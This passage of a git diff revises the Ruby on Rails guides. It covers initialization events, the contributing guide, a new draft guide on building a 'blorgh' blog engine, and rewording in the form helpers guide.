an +X-Runtime+ header, containing the time (in seconds) taken to execute the request. +* +Rails::Rack::Logger+ notifies the logs that the request has began. After request is complete, flushes all the logs. +* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless. +* +ActionDispatch::RemoteIp+ checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings. +* +Rack::Sendfile+ intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+. +* +ActionDispatch::Callbacks+ runs the prepare callbacks before serving the request. * +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to +true+. * +ActiveRecord::QueryCache+ caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned. * +ActionDispatch::Cookies+ sets cookies for the request. @@ -449,12 +461,31 @@ Rails has 5 initialization events which can be hooked into (listed in the order * +before_initialize+: This is run directly before the initialization process of the application occurs with the +:bootstrap_hook+ initializer near the beginning of the Rails initialization process. -* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. +* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in +development+, but only once (during boot-up) in +production+ and +test+. * +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the _production_ environment and not for the +development+ environment. * +after_initialize+: Run directly after the initialization of the application, but before the application initializers are run. +To define an event for these hooks, use the block syntax within a +Rails::Aplication+, +Rails::Railtie+ or +Rails::Engine+ subclass: + +<ruby> +module YourApp + class Application < Rails::Application + config.before_initialize do + # initialization code goes here + end + end +end +</ruby> + +Alternatively, you can also do it through the +config+ method on the +Rails.application+ object: + +<ruby> +Rails.application.config.before_initialize do + # initialization code goes here +end +</ruby> WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called. @@ -523,7 +554,7 @@ The error occurred while evaluating nil.each *+action_view.cache_asset_ids+* Sets +ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids+ to +false+ when Active Support loads, but only if +config.cache_classes+ is too. -*+action_view.javascript_expansions+* Registers the expansions set up by +config.action_view.javascript_expansions+ and +config.action_view.stylesheet_expansions+ to be recognised by Action View and therefore usable in the views. +*+action_view.javascript_expansions+* Registers the expansions set up by +config.action_view.javascript_expansions+ and +config.action_view.stylesheet_expansions+ to be recognized by Action View and therefore usable in the views. *+action_view.set_configs+* Sets up Action View by using the settings in +config.action_view+ by +send+'ing the method names as setters to +ActionView::Base+ and passing the values through. @@ -557,7 +588,7 @@ The error occurred while evaluating nil.each *+set_load_path+* This initializer runs before +bootstrap_hook+. Adds the +vendor+, +lib+, all directories of +app+ and any paths specified by +config.load_paths+ to +$LOAD_PATH+. -*+set_autoload_path+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+. +*+set_autoload_paths+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+. *+add_routing_paths+* Loads (by default) all +config/routes.rb+ files (in the application and railties, including engines) and sets up the routes for the application. @@ -592,11 +623,3 @@ The error occurred while evaluating nil.each *+set_routes_reloader+* Configures Action Dispatch to reload the routes file using +ActionDispatch::Callbacks.to_prepare+. *+disable_dependency_loading+* Disables the automatic dependency loading if the +config.cache_classes+ is set to true and +config.dependency_loading+ is set to false. - -h3. Changelog - -* December 3, 2010: Added initialization events for Rails 3 ("Ryan Bigg":http://ryanbigg.com) -* November 26, 2010: Removed all config settings not available in Rails 3 ("Ryan Bigg":http://ryanbigg.com) -* August 13, 2009: Updated with config syntax and added general configuration options by "John Pignata" -* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy -* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/contribute.textile b/railties/guides/source/contribute.textile deleted file mode 100644 index f9bb80861c..0000000000 --- a/railties/guides/source/contribute.textile +++ /dev/null @@ -1,70 +0,0 @@ -h2. Contribute to the Rails Guides - -Rails Guides aim to improve the Rails documentation and to make the barrier to entry as low as possible. A reasonably experienced developer should be able to use the guides to come up to speed on Rails quickly. Our sponsors have contributed prizes for those who write an entire guide, but there are many other ways to contribute. - -endprologue. - -h3. How to Contribute? - -* We have an open commit policy: anyone is welcome to contribute and to review contributions. -* "docrails is hosted on GitHub":https://github.com/lifo/docrails and has public write access. -* Guides are written in Textile, and reside at +railties/guides/source+ in the docrails project. -* Follow the "Rails Guides Conventions":https://wiki.github.com/lifo/docrails/rails-guides-conventions. -* Assets are stored in the +railties/guides/assets+ directory. -* Sample format : "Active Record Associations":https://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile. -* Sample output : "Active Record Associations":association_basics.html. -* You can build the Guides during testing by running +bundle exec rake generate_guides+ in the +railties+ directory. -* You're encouraged to validate XHTML for the generated guides before committing your changes by running +bundle exec rake validate_guides+ in the +railties+ directory. -* Edge guides "can be consulted online":http://edgeguides.rubyonrails.org/. That website is generated periodically from docrails. - -h3. What to Contribute? - -* We need authors, editors, proofreaders, and translators. Adding a single paragraph of quality content to a guide is a good way to get started. -* The easiest way to start is by improving an existing guide: -** Improve the structure to make it more coherent. -** Add missing information. -** Correct any factual errors. -** Fix typos or improve style. -** Bring it up to date with the latest Edge Rails. -* We're also open to suggestions for entire new guides: -** Contact lifo or fxn to get your idea approved. See the Contact section below. -** If you're the main author on a significant guide, you're eligible for the prizes. - -h3. How is the process? - -* The preferred way to contribute is to commit to docrails directly. -* A new guide is only edited by its author until finished though. -* If you are writing a new guide freely commit to docrails partial work and ping lifo or fxn when done with a first draft. -* Guides reviewers will then provide feedback, some of it possibly in form of direct commits to agilize the process. -* Eventually the guide will be approved and added to the index. - -h3. Prizes - -For each completed guide, the lead contributor will receive all of the following prizes: - -* $200 from Caboose Rails Documentation Project. -* 1 year of GitHub Micro account worth $84. -* 1 year of RPM Basic (Production performance management) for up to 10 hosts worth 12 months x $40 per host x 10 hosts = $4800. And also, savings of $45 per host per month over list price to upgrade to advanced product. - -h3. Rules - -* Guides are licensed under a Creative Commons Attribution-Share Alike 3.0 License. -* If you're not sure whether a guide is actively being worked on, stop by IRC and ask. -* If the same guide writer wants to write multiple guides, that's ideally the situation we'd love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or RPM prizes). -* Our review team will have the final say on whether the guide is complete and of good enough quality. - -All authors should read and follow the "Rails Guides Conventions":ruby_on_rails_guides_guidelines.html and the "Rails API Documentation Conventions":api_documentation_guidelines.html. - -h3. Translations - -The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides page. - -h3. Mailing List - -"Ruby on Rails: Documentation":http://groups.google.com/group/rubyonrails-docs is the mailing list for all the guides/documentation related discussions. - -h3. Contact - -* IRC : #docrails channel in irc.freenode.net -* Twitter: "@docrails":http://twitter.com/docrails, "@lifo":http://twitter.com/lifo, "@fxn":http://twitter.com/fxn -* Email : pratiknaik aT gmail, fxn aT hashref dot com diff --git a/railties/guides/source/contributing_to_ruby_on_rails.textile b/railties/guides/source/contributing_to_ruby_on_rails.textile index e6ec061c9a..5848172510 100644 --- a/railties/guides/source/contributing_to_ruby_on_rails.textile +++ b/railties/guides/source/contributing_to_ruby_on_rails.textile @@ -104,7 +104,6 @@ $ cd railties $ TEST_DIR=generators rake test </shell> - h4. Warnings The test suite runs with warnings enabled. Ideally Ruby on Rails should issue no warning, but there may be a few, and also some from third-party libraries. Please ignore (or fix!) them if any, and submit patches that do not issue new warnings. @@ -121,6 +120,10 @@ The test suite of Active Record attempts to run four times, once for SQLite3, on WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. +h5. Set up Database Configuration + +The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment. + h5. SQLite3 The gem +sqlite3-ruby+ does not belong to the "db" group indeed, if you followed the instructions above you're ready. This is how you run the Active Record test suite only for SQLite3: @@ -201,11 +204,11 @@ You can also invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql h4. Older versions of Ruby on Rails -If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 2-3-stable branch: +If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch: <shell> -$ git branch --track 2-3-stable origin/2-3-stable -$ git checkout 2-3-stable +$ git branch --track 3-0-stable origin/3-0-stable +$ git checkout 3-0-stable </shell> TIP: You may want to "put your git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with. @@ -258,16 +261,18 @@ h3. Contributing to the Rails Documentation Ruby on Rails has two main sets of documentation: The guides help you to learn Ruby on Rails, and the API is a reference. -You can create an issue in GitHub issues to fix or expand documentation. However, if you're confident about your changes you can push them yourself directly via "docrails":https://github.com/lifo/docrails/tree/master. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. +You can help improve the Rails guides by making them more coherent, adding missing information, correcting factual errors, fixing typos, bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides. + +If you're confident about your changes, you can push them yourself directly via "docrails":https://github.com/lifo/docrails. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. + +If you are unsure of the documentation changes, you can create an issue in the "Rails":https://github.com/rails/rails/issues issues tracker on GitHub. When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html. -NOTE: As explained above, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements. +NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements. WARNING: docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails. -If you have an idea for a new guide you can refer to the "contribution page":contribute.html for instructions on getting involved. - h3. Contributing to the Rails Code h4. Clone the Rails Repository @@ -285,7 +290,7 @@ $ cd rails $ git checkout -b my_new_branch </shell> -It doesn’t really matter what name you use, because this branch will only exist on your local computer. +It doesn’t really matter what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails git repository. h4. Write Your Code @@ -382,13 +387,3 @@ And then...think about your next contribution! h3. Rails Contributors All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org. - -h3. Changelog - -* May 12, 2011: Modified to prefer topic branches instead of master branch for users contributions by "Guillermo Iguaran":http://quillarb.org -* April 29, 2011: Reflect GitHub Issues and Pull Request workflow by "Dan Pickett":http://www.enlightsolutions.com -* April 14, 2011: Modified Contributing to the Rails Code section to add '[#ticket_number state:commited]' on patches commit messages by "Sebastian Martinez":http://wyeworks.com -* December 28, 2010: Complete revision by "Xavier Noria":credits.html#fxn -* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* August 1, 2009: Updates/amplifications by "Mike Gunderloy":credits.html#mgunderloy -* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile index f5bee52b5a..3552c68418 100644 --- a/railties/guides/source/debugging_rails_applications.textile +++ b/railties/guides/source/debugging_rails_applications.textile @@ -712,10 +712,3 @@ h3. References * "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/ * "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging * "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by "Emilio Tagua":credits.html#miloops -* October 19, 2008: Copy editing pass by "Mike Gunderloy":credits.html#mgunderloy -* September 16, 2008: initial version by "Emilio Tagua":credits.html#miloops diff --git a/railties/guides/source/engines.textile b/railties/guides/source/engines.textile new file mode 100644 index 0000000000..6be347e1a5 --- /dev/null +++ b/railties/guides/source/engines.textile @@ -0,0 +1,292 @@ +h2. Getting Started with Engines + +In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide: + +* What makes an engine +* How to generate an engine +* Building features for the engine +* Hooking the engine into an application +* Overriding engine functionality in the application + +endprologue. + +h3. What are engines? + +Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the +Rails::Application+ class inheriting from +Rails::Engine+. Therefore, engines and applications share common functionality but are at the same time two separate beasts. Engines and applications also share a common structure, as you'll see throughout this guide. + +Engines are also closely related to plugins where the two share a common +lib+ directory structure and are both generated using the +rails plugin new+ generator. + +The engine that will be generated for this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. For now, you will be working solely within the engine itself and in later sections you'll see how to hook it into an application. + +Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as +posts_path+ and use an engine also that provides a path also called +posts_path+, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide. + +To see demonstrations of other engines, check out "Devise":https://github.com/plataformatec/devise, an engine that provides authentication for its parent applications, or "Forem":https://github.com/radar/forem, an engine that provides forum functionality. + +Finally, engines would not have be possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks! + +h3. Generating an engine + +To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--mountable+ option. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal: + +<shell> +$ rails plugin new blorgh --mountable +</shell> + +The +--mountable+ option tells the plugin generator that you want to create an engine (which is a mountable plugin, hence the option name), creating the basic directory structure of an engine by providing things such as the foundations of an +app+ folder, as well a +config/routes.rb+ file. This generator also provides a file at +lib/blorgh/engine.rb+ which is identical in function to an application's +config/application.rb+ file. + +h4. Inside an engine + +h5. Critical files + +At the root of the engine's directory, lives a +blorgh.gemspec+ file. When you include the engine into the application later on, you will do so with this line in a Rails application's +Gemfile+: + +<ruby> + gem 'blorgh', :path => "vendor/engines/blorgh" +</ruby> + +By specifying it as a gem within the +Gemfile+, Bundler will load it as such, parsing this +blorgh.gemspec+ file and requiring a file within the +lib+ directory called +lib/blorgh.rb+. This file requires the +blorgh/engine.rb+ file (located at +lib/blorgh/engine.rb+) and defines a base module called +Blorgh+. + +<ruby> +require "blorgh/engine" + +module Blorgh +end +</ruby> + +Within +lib/blorgh/engine.rb+ is the base class for the engine: + +<ruby> +module Blorgh + class Engine < Rails::Engine + isolate_namespace Blorgh + end +end +</ruby> + +By inheriting from the +Rails::Engine+ class, this engine gains all the functionality it needs, such as being able to serve requests to its controllers. + +The +isolate_namespace+ method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption. It is recommended that this line be left within this file. + +h5. +app+ directory + +Inside the +app+ directory there lives the standard +assets+, +controllers+, +helpers+, +mailers+, +models+ and +views+ directories that you should be familiar with from an application. The +helpers+, +mailers+ and +models+ directories are empty and so aren't described in this section. We'll look more into models in a future section. + +Within the +app/assets+ directory, there is the +images+, +javascripts+ and +stylesheets+ directories which, again, you should be familiar with due to their similarities of an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too. + +Within the +app/controllers+ directory there is a +blorgh+ directory and inside that a file called +application_controller.rb+. This file will provide any common functionality for the controllers of the engine. The +blorgh+ directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application. + +Lastly, the +app/views+ directory contains a +layouts+ folder which contains file at +blorgh/application.html.erb+ which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the applications +app/views/layouts/application.html.erb+ file. + +h5. +script+ directory + +This directory contains one file, +script/rails+, which allows you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine. + +h5. +test+ directory + +The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file: + +<ruby> +Rails.application.routes.draw do + + mount Blorgh::Engine => "/blorgh" +end +</ruby> + +This line mounts the engine at the path of +/blorgh+, which will make it accessible through the application only at that path. We will look more into mounting an engine after some features have been developed. + +Also in the test directory is the +test/integration+ directory, where integration tests for the engine should be placed. + +h3. Providing engine functionality + +The engine that this guide covers will provide posting and commenting functionality. + +h4. Generating a post resource + +The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator. + +<shell> +$ rails generate scaffold post title:string text:text +invoke active_record +create db/migrate/20111006201642_create_blorgh_posts.rb +create app/models/blorgh/post.rb +invoke test_unit +create test/unit/blorgh/post_test.rb +create test/fixtures/blorgh/posts.yml + route resources :posts +invoke scaffold_controller +create app/controllers/blorgh/posts_controller.rb +invoke erb +create app/views/blorgh/posts +create app/views/blorgh/posts/index.html.erb +create app/views/blorgh/posts/edit.html.erb +create app/views/blorgh/posts/show.html.erb +create app/views/blorgh/posts/new.html.erb +create app/views/blorgh/posts/_form.html.erb +invoke test_unit +create test/functional/blorgh/posts_controller_test.rb +invoke helper +create app/helpers/blorgh/posts_helper.rb +invoke test_unit +create test/unit/helpers/blorgh/posts_helper_test.rb +invoke assets +invoke js +create app/assets/javascripts/blorgh/posts.js +invoke css +create app/assets/stylesheets/blorgh/posts.css +invoke css +create app/assets/stylesheets/scaffold.css +</shell> + +The first thing that the scaffold generator does is invoke the +active_record+ generator, which generates a migration and a model for the resource. Note here, however, that the migration is called +create_blorgh_posts+ rather than the usual +create_posts+. This is due to the +isolate_namespace+ method called in the +Blorgh::Engine+ class's definition. The model here is also namespaced, being placed at +app/models/blorgh/post.rb+ rather than +app/models/post.rb+. + +Next, the +test_unit+ generator is invoked for this model, generating a unit test at +test/unit/blorgh/post_test.rb+ (rather than +test/unit/post_test.rb+) and a fixture at +test/fixtures/blorgh/posts.yml+ (rather than +test/fixtures/posts.yml+). + +After that, a line for the resource is inserted into the +config/routes.rb+ file for the engine. This line is simply +resources :posts+, turning the +config/routes.rb+ file into this: + +<ruby> +Blorgh::Engine.routes.draw do + resources :posts + +end +</ruby> + +Note here that the routes are drawn upon the +Blorgh::Engine+ object rather than the +YourApp::Application+ class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section. + +Next, the +scaffold_controller+ generator is invoked, generating a controlled called +Blorgh::PostsController+ (at +app/controllers/blorgh/posts_controller.rb+) and its related views at +app/views/blorgh/posts+. This generator also generates a functional test for the controller (+test/functional/blorgh/posts_controller_test.rb+) and a helper (+app/helpers/blorgh/posts_controller.rb+). + +Everything this generator has generated is neatly namespaced. The controller's class is defined within the +Blorgh+ module: + +<ruby> +module Blorgh + class PostsController < ApplicationController + ... + end +end +</ruby> + +NOTE: The +ApplicationController+ class being inherited from here is the +Blorgh::ApplicationController+, not an application's +ApplicationController+. + +The helper is also namespaced: + +<ruby> +module Blorgh + class PostsHelper + ... + end +end +</ruby> + +This helps prevent conflicts with any other engine or application that may have a post resource also. + +Finally, two files that are the assets for this resource are generated, +app/assets/javascripts/blorgh/posts.js+ and +app/assets/javascripts/blorgh/posts.css+. You'll see how to use these a little later. + +By default, the scaffold styling is not applied to the engine as the engine's layout file, +app/views/blorgh/application.html.erb+ doesn't load it. To make this apply, insert this line into the +<head>+ tag of this layout: + +<erb> +<%= stylesheet_link_tag "scaffold" %> +</erb> + +You can see what the engine has so far by running +rake db:migrate+ at the root of our engine to run the migration generated by the scaffold generator, and then running +rails server+. When you open +http://localhost:3000/blorgh/posts+ you will see the default scaffold that has been generated. + +!images/engines_scaffold.png(Blank engine scaffold)! + +Click around! You've just generated your first engine's first functions. + +If you'd rather play around in the console, +rails console+ will also work just like a Rails application. Remember: the +Post+ model is namespaced, so to reference it you must call it as +Blorgh::Post+. + +<ruby> + >> Blorgh::Post.find(1) + => #<Blorgh::Post id: 1 ...> +</ruby> + +h4. Generating a comments resource + +Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. + +To do this, you can run the scaffold generator this time and tell it to generate a +Comment+ resource instead, with the table having two columns: a +post_id+ integer and +text+ text column. + +<shell> +$ rails generate scaffold Comment post_id:integer text:text +</shell> + +This generator call will generate almost the same files as it did the first time we called it for generating the +Post+ resource, but this time the files will be called things such as +app/controllers/blorgh/comments_controller.rb+ and +app/models/blorgh/comment.rb+. + +There's a few things wrong with how this generator has worked. It would be better if the comments resource was nested inside the posts resource in the routes, and if the controller created new comment entries inside a post. These are two very easy things to fix up. + +The +resources+ line from this generator is placed into the +config/routes.rb+ by the generator, but you're going to want to have comments nested underneath a post, and so it's a good idea to change these lines in the +config/routes.rb+ file: + +<ruby> +Blorgh::Engine.routes.draw do + resources :comments + + resources :posts + +end +</ruby> + +Into these: + +<ruby> + Blorgh::Engine.routes.draw do + resources :posts do + resources :comments + end + end +</ruby> + +That fixes the routes. For the controller, it's just as easy. When a request is made to this controller, it will be in the form of +post/:post_id/comments+. In order to find the comments that are being requested, the post is going to need to be fetched using something such as: + +<ruby> +post = Post.find(params[:id]) +</ruby> + +Then to get the comments for this post it would be as simple as: + +<ruby> +post.comments +</ruby> + +Alternatively, the query to fetch the comments in actions such as the +index+ action would need to be changed from +Comment.all+ into +Comment.find_all_by_post_id(params[:post_id])+. However, the first way is cleaner and so it should be done that way. + +To fetch the post in the controller, add a +before_filter+ into the controller's class definition like this: + +<ruby> +module Blorgh + class CommentsController < ApplicationController + before_filter :load_post + ... + end +end +</ruby> + +This +before_filter+ will call the +load_post+ method before every request that comes into this controller. This method should be defined as a +private+ method after all the actions in the controller: + +<ruby> +module Blorgh + class CommentsController < ApplicationController + before_filter :load_post + + # actions go here + + private + + def load_post + @post = Post.find(params[:post_id]) + end + end +end +</ruby> + +With the post being loaded, the queries in the controller need to be altered in order to query within the scope of the relative post. All occurrences of +Comment+ in this controller should now be replaced with +@post.comments+ so that the queries are correctly scoped. + + +h3. Hooking into application + +TODO: Application will provide a User foundation class which the engine hooks into through a configuration setting, configurable in the application's initializers. The engine will be mounted at the +/blog+ path in the application. + +h3. Overriding engine functionality + +TODO: Cover how to override engine functionality in the engine, such as controllers and views. +IDEA: I like Devise's +devise :controllers => { "sessions" => "sessions" }+ idea. Perhaps we could incorporate that into the guide? +TODO: Mention how to use assets within an engine? +TODO: Mention how to depend on external gems, like RedCarpet. diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile index 96a52af612..821bb305f6 100644 --- a/railties/guides/source/form_helpers.textile +++ b/railties/guides/source/form_helpers.textile @@ -27,9 +27,7 @@ The most basic form helper is +form_tag+. <% end %> </erb> -When called without arguments like this, it creates a form element that has the current page as its action and "post" as its method (some line breaks added for readability): - -Sample output from +form_tag+: +When called without arguments like this, it creates a +<form>+ tag which, when submitted, will POST to the current page. For instance, assuming the current page is +/home/index+, the generated HTML will look like this (some line breaks added for readability): <html> <form accept-charset="UTF-8" action="/home/index" method="post"> @@ -41,36 +39,30 @@ Sample output from +form_tag+: </form> </html> -If you carefully observe this output, you can see that the helper generated something you didn't specify: a +div+ element with two hidden input elements inside. The first input element with name +utf8+ enforces browsers to properly respect your form's character encoding and is generated for all forms whether action is "get" or "post". Second input element with name +authenticity_token+ is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form whose action is not "get" (provided that this security feature is enabled). You can read more about this in the "Ruby On Rails Security Guide":./security.html#_cross_site_reference_forgery_csrf. +Now, you'll notice that the HTML contains something extra: a +div+ element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name +utf8+ enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name +authenticity_token+ is a security feature of Rails called *cross-site request forgery protection*, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the "Security Guide":./security.html#_cross_site_reference_forgery_csrf. -NOTE: Throughout this guide, this +div+ with the hidden input elements will be stripped away to have clearer code samples. +NOTE: Throughout this guide, the +div+ with the hidden input elements will be excluded from code samples for brevity. h4. A Generic Search Form -Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of: +One of the most basic forms you see on the web is a search form. This form contains: # a form element with "GET" method, # a label for the input, # a text input element, and # a submit element. -IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action. - -To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively. - -A basic search form +To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively. Like this: <erb> -<%= form_tag(search_path, :method => "get") do %> +<%= form_tag("/search", :method => "get") do %> <%= label_tag(:q, "Search for:") %> <%= text_field_tag(:q) %> <%= submit_tag("Search") %> <% end %> </erb> -TIP: +search_path+ can be a named route specified in "routes.rb" as: <br /><code>match "search" => "search"</code> This declares that path "/search" will be handled by action "search" belonging to controller "search". - -The above view code will result in the following markup: +This will generate the following HTML: <html> <form accept-charset="UTF-8" action="/search" method="get"> @@ -80,47 +72,35 @@ The above view code will result in the following markup: </form> </html> +TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. + Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ form control in HTML. -TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. +IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action. h4. Multiple Hashes in Form Helper Calls -By now you've seen that the +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class. +The +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class. -As with the +link_to+ helper, the path argument doesn't have to be given a string. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. However, this is a bad way to pass multiple hashes as method arguments: +As with the +link_to+ helper, the path argument doesn't have to be given a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to +form_tag+ are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this: <ruby> form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form") -# => <form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post"> +# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">' </ruby> -Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The correct way of passing multiple hashes as arguments is to delimit the first hash (or both hashes) with curly brackets: +Here, +method+ and +class+ are appended to the query string of the generated URL because you even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect: <ruby> form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form") -# => <form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form"> +# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">' </ruby> -This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly. - -WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an +expecting tASSOC+ syntax error. - h4. Helpers for Generating Form Elements -Rails provides a series of helpers for generating form elements such as checkboxes, text fields and radio buttons. These basic helpers, with names ending in <notextile>_tag</notextile> such as +text_field_tag+ and +check_box_tag+ generate just a single +<input>+ element. The first parameter to these is always the name of the input. In the controller this name will be the key in the +params+ hash used to get the value entered by the user. For example, if the form contains - -<erb> -<%= text_field_tag(:query) %> -</erb> +Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as +text_field_tag+ and +check_box_tag+), generate just a single +<input>+ element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the +params+ hash in the controller with the value entered by the user for that field. For example, if the form contains +<%= text_field_tag(:query) %>+, then you would be able to get the value of this field in the controller with +params[:query]+. -then the controller code should use - -<ruby> -params[:query] -</ruby> - -to retrieve the value entered by the user. When naming inputs, be aware that Rails uses certain conventions that control whether values are at the top level of the +params+ hash, inside an array or a nested hash and so on. You can read more about them in the parameter_names section. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html. +When naming 